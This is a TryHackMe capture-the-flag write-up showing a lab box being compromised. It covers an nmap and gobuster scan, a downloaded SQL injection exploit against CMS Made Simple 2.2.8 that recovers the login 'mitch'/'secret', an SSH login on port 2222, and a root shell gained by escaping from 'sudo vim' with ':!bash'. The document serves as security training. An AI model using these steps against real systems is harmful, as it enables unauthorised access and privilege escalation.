

We connect to TryHackMe server using openvpn.

IP address - 10.10.1.4

Run nmap -sT -p- 10.10.1.4

```
root@kali:~# nmap -sT -p- 10.10.1.4
```

Starting Nmap 7.80 (<https://nmap.org>) at 2020-12-03 12:32 EST

Nmap scan report for 10.10.1.4

Host is up (0.12s latency).

Not shown: 65533 filtered ports

PORT	STATE	SERVICE
------	-------	---------

21/tcp	open	ftp
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80/tcp	open	http
--------	------	------

2222/tcp	open	EtherNetIP-1
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Nmap done: 1 IP address (1 host up) scanned in 250.54 seconds

The webpage is a default Apache2 page so I just went forward with gobuster.

```
root@kali:~# gobuster dir -u http://10.10.1.4/ -w /usr/share/dirb/wordlists/common.txt
```

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Gobuster v3.0.1

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[+] Url: http://10.10.1.4/

[+] Threads: 10

[+] Wordlist: /usr/share/dirb/wordlists/common.txt

[+] Status codes: 200,204,301,302,307,401,403

[+] User Agent: gobuster/3.0.1

[+] Timeout: 10s

```
=====
2020/12/03 12:46:58 Starting gobuster
=====
/.htpasswd (Status: 403)
/.hta (Status: 403)
/.htaccess (Status: 403)
/index.html (Status: 200)
/robots.txt (Status: 200)
/server-status (Status: 403)
/simple (Status: 301)
=====
2020/12/03 12:47:54 Finished
=====
```

After checking out /simple we find a webpage using CMS.

Further inspection leads us to find its CMS 2.2.8 which has a sql injection vulnerability.

I proceed to download the vuln and use it against the URL.

[+] Salt for password found: 1dac0d92e9t32

[+] Username found: mitch

[+] Email found: admin@admin

[*] Password found: secret

After finding the user and password for user, I attempt to ssh in under 2222 port

```
root@kali:~# ssh -p 2222 mitch@10.10.37.10
```

```
mitch@10.10.37.10's password:
```

```
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-58-generic i686)
```

- * Documentation: <https://help.ubuntu.com>
- * Management: <https://landscape.canonical.com>
- * Support: <https://ubuntu.com/advantage>

0 packages can be updated.

0 updates are security updates.

Last login: Fri Dec 4 01:02:02 2020 from 10.9.185.132

\$ ls

user.txt

\$ sudo vim

Inside vim I used :!bash to get out and gain access to root

root@Machine:~# ls

user.txt

root@Machine:~# cd sunbath

bash: cd: sunbath: No such file or directory

root@Machine:~# cd root

bash: cd: root: No such file or directory

root@Machine:~# whoami

root

root@Machine:~# cd /root

root@Machine:/root# ls

root.txt